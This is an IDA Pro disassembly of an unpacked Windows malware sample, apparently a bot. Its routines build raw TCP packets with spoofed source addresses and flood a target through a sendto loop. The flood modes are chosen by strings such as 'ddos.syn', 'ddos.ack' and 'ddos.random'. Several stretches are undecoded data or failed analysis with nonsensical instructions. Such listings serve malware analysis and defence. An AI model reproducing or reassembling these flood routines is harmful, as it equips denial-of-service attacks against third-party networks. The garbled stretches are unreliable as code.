;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 3B779B01A1458B5C8B2C5631DCD6FC12
; File Name : u:\work\3b779b01a1458b5c8b2c5631dcd6fc12_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0001B000 ( 110592.)
; Section size in file : 0001B000 ( 110592.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg000 segment para public 'CODE' use32
assume cs:seg000
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; DATA XREF: seg000:0040C3D4o
; .data:004614DCo ...
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E9
push eax
lea eax, [ebp+var_494]
push offset unk_41E040
push eax
call sub_41050B
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_40E367
add esp, 14h
loc_401090: ; CODE XREF: sub_401000+6Ej
lea eax, [ebp+var_494]
push eax
call sub_407E0E
push [ebp+var_290]
call sub_4102D3
pop ecx
pop ecx
push esi
call near ptr 3E0000h
sbb eax, 8B555E5Fh ; CODE XREF: sub_4013E9+40p
sub_401000 endp ; sp-analysis failed
in al, dx
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call ds:dword_430718 ; WSAStartup
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013E5
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: seg000:004010E9j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_430834 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp-20h], eax
jz loc_4013DD
push esi
lea ecx, [ebp-40h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-40h], edi
call ds:dword_430774 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4013D3
push dword ptr [ebp+14h]
mov word ptr [ebp-58h], 2
call ds:dword_430794 ; ntohs
mov esi, [ebp+8]
push 28h
mov [ebp-56h], ax
mov [ebp-54h], esi
mov byte ptr [ebp-34h], 45h
call ds:dword_430794 ; ntohs
push dword ptr [ebp+14h]
mov [ebp-32h], ax
mov [ebp-30h], di
mov [ebp-2Eh], bx
mov byte ptr [ebp-2Ch], 80h
mov byte ptr [ebp-2Bh], 6
mov [ebp-2Ah], bx
mov [ebp-24h], esi
call ds:dword_430794 ; ntohs
mov [ebp-12h], ax
call sub_410567
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_430794 ; ntohs
push 12345678h
mov [ebp-14h], ax
call ds:dword_430790 ; ntohl
push offset aDdos_syn ; "ddos.syn"
mov [ebp-10h], eax
push dword ptr [ebp+10h]
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: seg000:004011B7j
push offset aDdos_ack ; "ddos.ack"
push dword ptr [ebp+10h]
call sub_410930
pop ecx
test eax, eax
loc_4011D2: ; DATA XREF: sub_47C15D+1Dr
pop ecx
jnz short loc_4011DE
mov [ebp-0Ch], ebx
mov byte ptr [ebp-7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: seg000:004011D3j
push offset aDdos_random ; "ddos.random"
push dword ptr [ebp+10h]
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_410567
push 3
cdq
pop ecx
idiv ecx
mov [ebp-0Ch], edx
call sub_410567
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp-7], dl
loc_401216: ; CODE XREF: seg000:004011C0j
; seg000:004011DCj ...
push 4000h
mov byte ptr [ebp-8], 50h
call ds:dword_430794 ; ntohs
mov [ebp-6], ax
lea eax, [ebp-48h]
push eax
mov [ebp-2], bx
mov [ebp+10h], ebx
call near ptr 3E0000h
or byte ptr [ebp-17AF1BBBh], 0BDh
in eax, dx
std
jmp fword ptr [edx]
; ---------------------------------------------------------------------------
dd 8BBC75FFh, 0FF991845h, 5052B875h, 0F76BE8h, 0E4450300h
dd 135E146Ah, 4589E855h, 0C85589C4h, 0FC5D8966h, 0F2FAE8h
dd 0E9B99900h, 0F7000003h, 0E8C281F9h, 52000003h, 79415FFh
dd 89660043h, 0DCE8EC45h, 8B0000F2h, 10E7C1F8h, 0F2D2E8h
dd 57F80B00h, 79415FFh, 0B70F0043h, 0F04589C0h, 0FF0C458Bh
dd 0FF500C45h, 43079015h, 0D8458900h, 56DC458Bh, 888C4589h
dd 45C6905Dh, 15FF0691h, 430794h, 92458966h, 89D8458Bh
dd 458D8845h, 50206A88h, 0FF4C858Dh, 0E850FFFFh, 0F30Ch
dd 56EC458Dh, 6C858D50h, 50FFFFFFh, 0F2FBE8h, 4C858D00h
dd 6AFFFFFFh, 8BE85034h, 66000061h, 8DFC4589h, 5056CC45h
dd 0FF4C858Dh, 0E850FFFFh, 0F2D8h, 56EC458Dh, 60858D50h
dd 50FFFFFFh, 0F2C7E8h, 8D046A00h, 0FFFF7485h, 0E85053FFh
dd 0F258h, 8D44C483h, 0FFFF4C85h, 50286AFFh, 6145E8h, 45896600h
dd 0CC458DD6h, 858D5056h, 0FFFFFF4Ch, 0F292E850h, 0C4830000h
dd 0A8458D14h, 5350106Ah, 0FF4C858Dh, 286AFFFFh, 0E075FF50h
dd 7F415FFh, 0F8830043h, 12874FFh, 458D1045h, 75E850E4h
dd 32FFFDECh, 3BE8458Bh, 3C7FC845h, 0FECA8C0Fh, 458BFFFFh
dd 0C4453BE4h, 0BDE92E73h, 0FFFFFFFEh, 43073015h, 858D5000h
dd 0FFFFFF0Ch, 41E07C68h, 4CE85000h, 8D0000F1h, 0FFFF0C85h
dd 43E850FFh, 8300006Ah, 3EB10C4h
; ---------------------------------------------------------------------------
mov ebx, [ebp+10h]
loc_4013D3: ; CODE XREF: seg000:0040112Aj
push dword ptr [ebp-20h]
call ds:dword_430828 ; closesocket
pop esi
loc_4013DD: ; CODE XREF: seg000:0040110Dj
call ds:dword_430700 ; WSACleanup
mov eax, ebx
loc_4013E5: ; CODE XREF: seg000:004010EDj
pop edi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40731F
push [esp+10h+arg_4]
mov esi, eax
call sub_410A7F
push [esp+14h+arg_C]
mov ebx, eax
call sub_410A7F
mov edi, eax
call sub_410567
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call near ptr loc_4010AF+3
add esp, 20h
test eax, eax
jnz short loc_401438
push 1
pop eax
loc_401438: ; CODE XREF: sub_4013E9+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E9 endp
; ---------------------------------------------------------------------------
loc_401447: ; DATA XREF: seg000:0040C5BCo
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+8]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp-1BCh]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call ds:dword_430810 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_4014E2
call ds:dword_430730 ; WSAGetLastError
push eax
lea eax, [ebp-3BCh]
push offset unk_41E21C
loc_401495: ; DATA XREF: seg002:0041EB54o
push eax
call sub_41050B
xor edi, edi
add esp, 0Ch
cmp [ebp-24h], edi
jnz short loc_4014C5
push edi
lea eax, [ebp-3BCh]
push dword ptr [ebp-28h]
push eax
lea eax, [ebp-0B8h]
push eax
push dword ptr [ebp-1BCh]
call sub_40E367
add esp, 14h
loc_4014C5: ; CODE XREF: seg000:004014A3j
lea eax, [ebp-3BCh]
push eax
call sub_407E0E
push dword ptr [ebp-38h]
call sub_4102D3
pop ecx
pop ecx
push edi
call near ptr 3E0000h
outsd
loc_4014E2: ; CODE XREF: seg000:00401481j
lea ecx, [ebp-0Ch]
push 4
loc_4014E7: ; CODE XREF: seg000:00401558j
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp-0Ch], ebx
call ds:dword_430774 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_401558+1
call ds:dword_430730 ; WSAGetLastError
push eax
lea eax, [ebp-3BCh]
push offset unk_41E1D0
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-24h], edi
jnz short loc_40153C
push edi
lea eax, [ebp-3BCh]
push dword ptr [ebp-28h]
push eax
lea eax, [ebp-0B8h]
push eax
push dword ptr [ebp-1BCh]
call sub_40E367
add esp, 14h
loc_40153C: ; CODE XREF: seg000:0040151Aj
lea eax, [ebp-3BCh]
push eax
call sub_407E0E
push dword ptr [ebp-38h]
call sub_4102D3
pop ecx
pop ecx
push edi
call near ptr 3E0000h
loc_401558: ; CODE XREF: seg000:004014FAj
loope loc_4014E7
test [eax-2], ecx
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 50h
dd 7D015FFh, 0F8830043h, 8D5575FFh, 0FFFC4485h, 0E19C68FFh
dd 0E8500041h, 0EF8Fh, 59DC7D39h, 57207559h, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0CDC7h, 8D14C483h, 0FFFC4485h, 5FE850FFh, 0FF000068h
dd 1CE8C875h, 590000EDh, 41E85759h, 4CFFFDEAh, 458D106Ah
dd 0E85057E4h, 0EFC4h, 660CC483h, 2E445C7h, 15FF5700h
dd 430794h, 0E6458966h, 0FE48858Dh, 0FF50FFFFh, 4307D015h
dd 4C358B00h, 890041C0h, 7D89E845h, 89D6FF08h, 0D6FFF845h
dd 33F8452Bh, 3E8B9D2h, 0F1F70000h, 0FD0453Bh, 19487h
dd 41C6800h, 5C60000h, 42EFB8h, 9415FF45h, 39004307h, 0A366D47Dh
dd 42EFBAh, 0BC1D8966h, 660042EFh, 0EFBE3D89h, 5C60042h
dd 42EFC0h, 0C11D8880h, 660042EFh, 0EFC23D89h, 30740042h
dd 0EF0EE8h, 0C1D88B00h, 4E808E3h, 30000EFh, 8E3C1D8h
dd 0EEFAE8h, 0C1D80300h, 0F0E808E3h, 30000EEh, 89016AD8h
dd 42EFC41Dh, 18EB5B00h, 0FE44B5FFh, 0A6E8FFFFh, 5900005Dh
dd 0D015FF50h, 0A3004307h, 42EFC4h, 0A3E8458Bh, 42EFC8h
dd 0EEBEE8h, 0B99900h, 0F7000001h, 0CC1588F9h, 0E80042EFh
dd 0EEABh, 100B999h, 0F9F70000h, 0EFCD1588h, 98E80042h
dd 990000EEh, 0F0B9h, 4006800h, 0F9F70000h, 0CE3D8966h
dd 660042EFh, 0EFD21D89h, 66420042h, 0EFD01589h, 70E80042h
dd 990000EEh, 0FFB9h, 52F9F700h, 42EFD468h, 0EE86E800h
dd 0C4830000h, 0E4458D0Ch, 5750106Ah, 41C68h, 0EFB86800h
dd 75FF0042h, 0F415FFFCh, 83004307h, 874FFF8h, 0E90845FFh
dd 0FFFFFECAh, 0FFFC75FFh, 43082815h, 3015FF00h, 50004307h
dd 0FE48858Dh, 75FFFFFFh, 38685008h, 8D0041E1h, 0FFFC4485h
dd 20068FFh, 0E8500000h, 0F326h, 3918C483h, 2075DC7Dh
dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh
dd 0FFFFFE44h, 0CBDEE8h, 14C48300h, 0FC44858Dh, 0E850FFFFh
dd 6676h, 0E8C875FFh, 0EB33h, 0E8575959h, 0FFFDE858h, 0FC75FF13h
dd 82815FFh, 458B0043h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h
dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh, 0C8858D50h
dd 50FFFFFEh, 0FC44858Dh, 0D468FFFFh, 500041E0h, 0ED22E8h
dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h, 50D875FFh
dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 0CB59E8FFh, 0C4830000h
dd 44858D14h, 50FFFFFCh, 65F1E8h, 0C875FF00h, 0EAAEE8h
dd 57595900h, 0FDE7D3E8h
db 0FFh, 0ECh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182E proc near ; DATA XREF: seg000:0040C2C5o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401B7C
push eax
lea eax, [ebp+var_414]
push offset dword_41E264
push eax
call sub_41050B
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AB
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40E367
add esp, 14h
loc_4018AB: ; CODE XREF: sub_40182E+5Bj
lea eax, [ebp+var_414]
push eax
call sub_407E0E
push [ebp+var_10]
call sub_4102D3
pop ecx
pop ecx
push esi
call near ptr 3E0000h
jl short near ptr loc_401925+3
pop esi
sub_40182E endp ; sp-analysis failed
loc_4018CA: ; CODE XREF: sub_401B7C+3Cp
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp-0B3h]
mov [ebp-0B4h], bl
rep stosd
stosw
stosb
lea eax, [ebp-284h]
push eax
push 202h
call ds:dword_430718 ; WSAStartup
test eax, eax
jz short loc_40190A
xor eax, eax
jmp loc_401B78
; ---------------------------------------------------------------------------
loc_40190A: ; CODE XREF: seg000:00401901j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_430834 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp-0Ch], eax
loc_401925: ; CODE XREF: sub_40182E+99j
jz loc_401B70
push esi
lea ecx, [ebp-38h]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp-38h], edi
call ds:dword_430774 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_401B66
push 10h
lea eax, [ebp-50h]
push ebx
push eax
call sub_410590
add esp, 0Ch
mov word ptr [ebp-50h], 2
loc_40195D: ; CODE XREF: seg000:004019CEj
push dword ptr [ebp+10h]
call ds:dword_430794 ; ntohs
mov esi, [ebp+8]
push 28h
mov [ebp-4Eh], ax
mov [ebp-4Ch], esi
mov byte ptr [ebp-20h], 45h
call ds:dword_430794 ; ntohs
push dword ptr [ebp+10h]
mov [ebp-1Eh], ax
mov [ebp-1Ch], di
mov [ebp-1Ah], bx
mov byte ptr [ebp-18h], 80h
mov byte ptr [ebp-17h], 6
mov [ebp-16h], bx
mov [ebp-10h], esi
call ds:dword_430794 ; ntohs
push 4000h
mov [ebp-32h], ax
mov [ebp-2Ch], ebx
mov byte ptr [ebp-28h], 50h
mov byte ptr [ebp-27h], 2
call ds:dword_430794 ; ntohs
mov [ebp-26h], ax
lea eax, [ebp-40h]
push eax
mov [ebp-22h], bx
mov [ebp+10h], ebx
call near ptr 3E0000h
jz short loc_40195D
inc ebp
clc
push eax
call near ptr 3E0000h
xchg eax, esi
push dword ptr [ebp-3Ch]
mov eax, [ebp+14h]
cdq
push dword ptr [ebp-40h]
push edx
push eax
call sub_4109C0
add eax, [ebp-8]
mov esi, edx
adc esi, [ebp-4]
mov [ebp-58h], eax
loc_4019F5: ; CODE XREF: seg000:00401B34j
mov [ebp-24h], bx
call sub_410567
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_430794 ; ntohs
mov [ebp-34h], ax
call sub_410567
mov edi, eax
shl edi, 10h
call sub_410567
or edi, eax
push edi
call ds:dword_430794 ; ntohs
movzx eax, ax
mov [ebp-30h], eax
mov eax, [ebp+0Ch]
inc dword ptr [ebp+0Ch]
push eax
call ds:dword_430790 ; ntohl
push 14h
mov [ebp-14h], eax
mov eax, [ebp-10h]
pop edi
push edi
mov [ebp-74h], eax
mov [ebp-70h], bl
mov byte ptr [ebp-6Fh], 6
call ds:dword_430794 ; ntohs
mov [ebp-6Eh], ax
mov eax, [ebp-14h]
mov [ebp-78h], eax
lea eax, [ebp-78h]
push 20h
push eax
lea eax, [ebp-0B4h]
push eax
call sub_4105F0
lea eax, [ebp-34h]
push edi
push eax
lea eax, [ebp-94h]
push eax
call sub_4105F0
lea eax, [ebp-0B4h]
push 34h
push eax
call sub_40748E
mov [ebp-24h], ax
lea eax, [ebp-20h]
push edi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_4105F0
lea eax, [ebp-34h]
push edi
push eax
lea eax, [ebp-0A0h]
push eax
call sub_4105F0
push 4
lea eax, [ebp-8Ch]
push ebx
push eax
call sub_410590
add esp, 44h
lea eax, [ebp-0B4h]
push 28h
push eax
call sub_40748E
mov [ebp-16h], ax
lea eax, [ebp-20h]
push edi
push eax
lea eax, [ebp-0B4h]
push eax
call sub_4105F0
add esp, 14h
lea eax, [ebp-50h]
push 10h
push eax
push ebx
lea eax, [ebp-0B4h]
push 28h
push eax
push dword ptr [ebp-0Ch]
call ds:dword_4307F4 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_401B3A
add [ebp+10h], eax
lea eax, [ebp-8]
push eax
call near ptr 3E0000h
mov eax, ds:3BFC458Bh
mov byte ptr [edi+3Ch], 0Fh
mov eax, cs
; ---------------------------------------------------------------------------
dw 0FFFEh
; ---------------------------------------------------------------------------
dec dword ptr [ebx+453BF845h]
test al, 73h
db 2Eh
jmp loc_4019F5
; ---------------------------------------------------------------------------
loc_401B3A: ; CODE XREF: seg000:00401B11j
call ds:dword_430730 ; WSAGetLastError
push eax
lea eax, [ebp-0F4h]
push offset dword_41E2A0
push eax
call sub_41050B
lea eax, [ebp-0F4h]
push eax
call sub_407E0E
add esp, 10h
jmp short loc_401B66
; ---------------------------------------------------------------------------
mov ebx, [ebp+10h]
loc_401B66: ; CODE XREF: seg000:00401942j
; seg000:00401B61j
push dword ptr [ebp-0Ch]
call ds:dword_430828 ; closesocket
pop esi
loc_401B70: ; CODE XREF: seg000:loc_401925j
call ds:dword_430700 ; WSACleanup
mov eax, ebx
loc_401B78: ; CODE XREF: seg000:00401905j
pop edi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40731F
push [esp+10h+arg_4]
mov esi, eax
call sub_410A7F
push [esp+14h+arg_8]
mov ebx, eax
call sub_410A7F
mov edi, eax
call sub_410567
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call loc_4018CA
add esp, 1Ch
test eax, eax
jnz short loc_401BC7
push 1
pop eax
loc_401BC7: ; CODE XREF: sub_401B7C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401B7C endp
; ---------------------------------------------------------------------------
loc_401BD6: ; DATA XREF: seg000:0040B70Eo
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp-240h]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp-9Fh]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp-0A0h], bl
rep stosd
stosw
stosb
mov edi, ds:dword_41C04C
call edi ; GetTickCount
push eax
call sub_41055D
pop ecx
push 0FFh
push 3
push 2
call ds:dword_430810 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short near ptr loc_401C9E+1
call ds:dword_430730 ; WSAGetLastError
push eax
lea eax, [ebp-440h]
push offset dword_41E428
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-0A8h], ebx
jnz short loc_401C7F
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_40E367
add esp, 14h
loc_401C7F: ; CODE XREF: seg000:00401C5Aj
lea eax, [ebp-440h]
push eax
call sub_407E0E
push dword ptr [ebp-0BCh]
call sub_4102D3
pop ecx
pop ecx
push ebx
call near ptr 3E0000h
loc_401C9E: ; CODE XREF: seg000:00401C37j
mov eax, 6ACC4D8Dh
add al, 51h
push 2
push ebx
push eax
mov [ebp-34h], esi
call ds:dword_430774 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_401D1C+1
call ds:dword_430730 ; WSAGetLastError
push eax
lea eax, [ebp-440h]
push offset dword_41E3DC
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-0A8h], ebx
jnz short loc_401CFD
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_40E367
add esp, 14h
loc_401CFD: ; CODE XREF: seg000:00401CD8j
lea eax, [ebp-440h]
push eax
call sub_407E0E
push dword ptr [ebp-0BCh]
call sub_4102D3
pop ecx
pop ecx
push ebx
call near ptr 3E0000h
loc_401D1C: ; CODE XREF: seg000:00401CB5j
and [ebp-23B7Bh], ecx
call dword ptr [eax-1]
adc eax, offset dword_4307D0
cmp eax, 0FFFFFFFFh
jnz short loc_401D8D
lea eax, [ebp-440h]
push offset dword_41E3A8
push eax
call sub_41050B
cmp [ebp-0A8h], ebx
pop ecx
pop ecx
jnz short loc_401D6D
push ebx
lea eax, [ebp-440h]
push dword ptr [ebp-0ACh]
push eax
lea eax, [ebp-13Ch]
push eax
push dword ptr [ebp-240h]
call sub_40E367
add esp, 14h
loc_401D6D: ; CODE XREF: seg000:00401D48j
lea eax, [ebp-440h]
push eax
call sub_407E0E
push dword ptr [ebp-0BCh]
call sub_4102D3
pop ecx
pop ecx
push ebx
call near ptr 3E0000h
aas
loc_401D8D: ; CODE XREF: seg000:00401D2Dj
push 10h
lea eax, [ebp-44h]
push ebx
push eax
call sub_410590
add esp, 0Ch
mov word ptr [ebp-44h], 2
push ebx
call ds:dword_430794 ; ntohs
mov [ebp-42h], ax
lea eax, [ebp-23Ch]
push eax
loc_401DB4: ; DATA XREF: .adata:0047CDE9o
call ds:dword_4307D0 ; inet_addr
mov [ebp-40h], eax
mov [ebp+8], ebx
call edi ; GetTickCount
mov [ebp-30h], eax
loc_401DC5: ; CODE XREF: seg000:00402006j
call edi ; GetTickCount
sub eax, [ebp-30h]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp-0B4h]
ja near ptr loc_402088+1
push 28h
mov byte ptr [ebp-2Ch], 45h
call ds:dword_430794 ; ntohs
cmp [ebp-0B0h], ebx
mov [ebp-2Ah], ax
mov [ebp-28h], si
mov [ebp-26h], bx
mov byte ptr [ebp-24h], 80h
mov byte ptr [ebp-23h], 6
mov [ebp-22h], bx
jz short loc_401E38
call sub_410567
mov esi, eax
shl esi, 8
call sub_410567
add esi, eax
shl esi, 8
call sub_410567
add esi, eax
shl esi, 8
call sub_410567
add esi, eax
push 1
mov [ebp-20h], esi
pop esi
jmp short loc_401E4E
; ---------------------------------------------------------------------------
loc_401E38: ; CODE XREF: seg000:00401E09j
push dword ptr [ebp-240h]
call sub_407435
pop ecx
push eax
call ds:dword_4307D0 ; inet_addr
mov [ebp-20h], eax
loc_401E4E: ; CODE XREF: seg000:00401E36j
mov eax, [ebp-40h]
cmp [ebp-0B8h], ebx
mov [ebp-1Ch], eax
jnz short loc_401E6C
call sub_410567
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_401E72
; ---------------------------------------------------------------------------
loc_401E6C: ; CODE XREF: seg000:00401E5Aj
push dword ptr [ebp-0B8h]
loc_401E72: ; CODE XREF: seg000:00401E6Aj
call ds:dword_430794 ; ntohs
mov [ebp-16h], ax
call sub_410567
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_430794 ; ntohs
push 12345678h
mov [ebp-18h], ax
call ds:dword_430790 ; ntohl
mov [ebp-14h], eax
lea eax, [ebp-1BCh]
push offset aSyn ; "syn"
push eax
call sub_410AE0
pop ecx
test eax, eax
pop ecx
jz short loc_401EC2
mov [ebp-10h], ebx
mov byte ptr [ebp-0Bh], 2
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EC2: ; CODE XREF: seg000:00401EB7j
lea eax, [ebp-1BCh]
push offset aAck ; "ack"
push eax
call sub_410AE0
pop ecx
test eax, eax
pop ecx
jz short loc_401EE2
mov [ebp-10h], ebx
mov byte ptr [ebp-0Bh], 10h
jmp short loc_401F1E
; ---------------------------------------------------------------------------
loc_401EE2: ; CODE XREF: seg000:00401ED7j
lea eax, [ebp-1BCh]
push offset aRandom ; "random"
push eax
call sub_410AE0
pop ecx
test eax, eax
pop ecx
jz short loc_401F1E
call sub_410567
push 3
cdq
pop ecx
idiv ecx
mov [ebp-10h], edx
call sub_410567
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp-0Bh], dl
loc_401F1E: ; CODE XREF: seg000:00401EC0j
; seg000:00401EE0j ...
push 200h
mov byte ptr [ebp-0Ch], 50h
call ds:dword_430794 ; ntohs
mov [ebp-0Ah], ax
mov eax, [ebp-20h]
mov [ebp-64h], eax
mov eax, [ebp-1Ch]
push 14h
mov [ebp-6], bx
mov [ebp-8], bx
mov [ebp-60h], eax
mov [ebp-5Ch], bl
mov byte ptr [ebp-5Bh], 6
call ds:dword_430794 ; ntohs
mov [ebp-5Ah], ax
lea eax, [ebp-64h]
push 20h
push eax
lea eax, [ebp-0A0h]
push eax
call sub_4105F0
lea eax, [ebp-18h]
push 14h
push eax
lea eax, [ebp-80h]
push eax
call sub_4105F0
lea eax, [ebp-0A0h]
push 34h
push eax
call sub_40748E
mov [ebp-8], ax
lea eax, [ebp-2Ch]
push 14h
push eax
lea eax, [ebp-0A0h]
push eax
call sub_4105F0
lea eax, [ebp-18h]
push 14h
push eax
lea eax, [ebp-8Ch]
push eax
call sub_4105F0
push 4
lea eax, [ebp-78h]
push ebx
push eax
call sub_410590
add esp, 44h
lea eax, [ebp-0A0h]
push 28h
push eax
call sub_40748E
mov [ebp-22h], ax
lea eax, [ebp-2Ch]
push 14h
push eax
lea eax, [ebp-0A0h]
push eax
call sub_4105F0
add esp, 14h
lea eax, [ebp-44h]
push 10h
push eax
push ebx
lea eax, [ebp-0A0h]
push 3Ch
push eax
push dword ptr [ebp-4]
call ds:dword_4307F4 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_40200B
inc dword ptr [ebp+8]
jmp loc_401DC5
; ---------------------------------------------------------------------------
loc_40200B: ; CODE XREF: seg000:00402001j
push dword ptr [ebp-4]
call ds:dword_430828 ; closesocket
call ds:dword_430730 ; WSAGetLastError
push eax
lea eax, [ebp-23Ch]
push dword ptr [ebp+8]
push eax
push offset dword_41E334
lea eax, [ebp-440h]
push 200h
push eax
call sub_410A8A
add esp, 18h
cmp [ebp-0A8h], ebx
jnz short loc_402069
push ebx
